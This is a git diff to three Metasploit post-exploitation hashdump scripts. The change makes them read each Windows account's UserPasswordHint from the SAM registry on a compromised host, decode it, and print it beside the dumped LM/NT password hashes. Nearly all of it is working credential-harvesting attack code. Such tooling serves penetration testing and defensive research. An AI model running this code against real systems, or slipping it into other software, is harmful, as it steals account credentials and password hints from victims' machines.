diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index 513b2d3922..f21e8be4c0 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -87,6 +87,12 @@ class Metasploit3 < Msf::Post :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], :type => "smb_hash" ) + + #If we have a hint, decode and add to the hashstring + if !users[rid][:UserPasswordHint].nil? + hashstring += " (Hint: \"#{decode_windows_hint(users[rid][:UserPasswordHint].unpack("H*")[0])}\")" + end + print_line hashstring end print_line() @@ -164,6 +170,13 @@ class Metasploit3 < Msf::Post users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data + + begin + users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data + rescue ::Rex::Post::Meterpreter::RequestError + users[usr.to_i(16)][:UserPasswordHint] = nil + end + uk.close end ok.close @@ -205,6 +218,15 @@ class Metasploit3 < Msf::Post users end + def decode_windows_hint(e_string) + d_string = "" + e_string.scan(/..../).each do |chunk| + bytes = chunk.scan(/../) + d_string += (bytes[1] + bytes[0]).to_s.hex.chr + end + d_string + end + def convert_des_56_to_64(kstr) key = [] str = kstr.unpack("C*") @@ -274,4 +296,4 @@ class Metasploit3 < Msf::Post d1o << d2.final d1o + d2o end -end +end \ No newline at end of file diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index ac91db35a4..1bc387e744 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -140,6 +140,13 @@ class Metasploit3 < Msf::Post users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data + + begin + users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data + rescue ::Rex::Post::Meterpreter::RequestError + users[usr.to_i(16)][:UserPasswordHint] = nil + end + uk.close end ok.close @@ -183,6 +190,16 @@ class Metasploit3 < Msf::Post end #------------------------------------------------------------------------------- + def decode_windows_hint(e_string) + d_string = "" + e_string.scan(/..../).each do |chunk| + bytes = chunk.scan(/../) + d_string += (bytes[1] + bytes[0]).to_s.hex.chr + end + d_string + end + #------------------------------------------------------------------------------- + def convert_des_56_to_64(kstr) key = [] str = kstr.unpack("C*") @@ -279,7 +296,14 @@ class Metasploit3 < Msf::Post # next if guest account or support account next if rid == 501 or rid == 1001 collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n" - print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::") + + #If we have a hint, decode and populate hint_string + hint_string = "" + if !users[rid][:UserPasswordHint].nil? + hint_string += " (Hint: \"#{decode_windows_hint(users[rid][:UserPasswordHint].unpack("H*")[0])}\")" + end + + print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::#{hint_string}") session.framework.db.report_auth_info( :host => host, :port => @smb_port, @@ -477,4 +501,4 @@ class Metasploit3 < Msf::Post print_error("Insufficient privileges to dump hashes!") end end -end +end \ No newline at end of file diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index a08890f40d..efea082bb2 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -101,6 +101,13 @@ def capture_user_keys users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data + + begin + users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data + rescue ::Rex::Post::Meterpreter::RequestError + users[usr.to_i(16)][:UserPasswordHint] = nil + end + uk.close end ok.close @@ -142,6 +149,15 @@ def decrypt_user_keys(hbootkey, users) users end +def decode_windows_hint(e_string) + d_string = "" + e_string.scan(/..../).each do |chunk| + bytes = chunk.scan(/../) + d_string += (bytes[1] + bytes[0]).to_s.hex.chr + end + d_string +end + def convert_des_56_to_64(kstr) key = [] str = kstr.unpack("C*") @@ -239,7 +255,14 @@ if client.platform =~ /win32|win64/ :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], :type => "smb_hash" ) + + #If we have a hint, decode and add to the hashstring + if !users[rid][:UserPasswordHint].nil? + hashstring += " (Hint: \"#{decode_windows_hint(users[rid][:UserPasswordHint].unpack("H*")[0])}\")" + end + print_line hashstring + end print_line() print_line() @@ -255,4 +278,4 @@ if client.platform =~ /win32|win64/ else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed -end +end \ No newline at end of file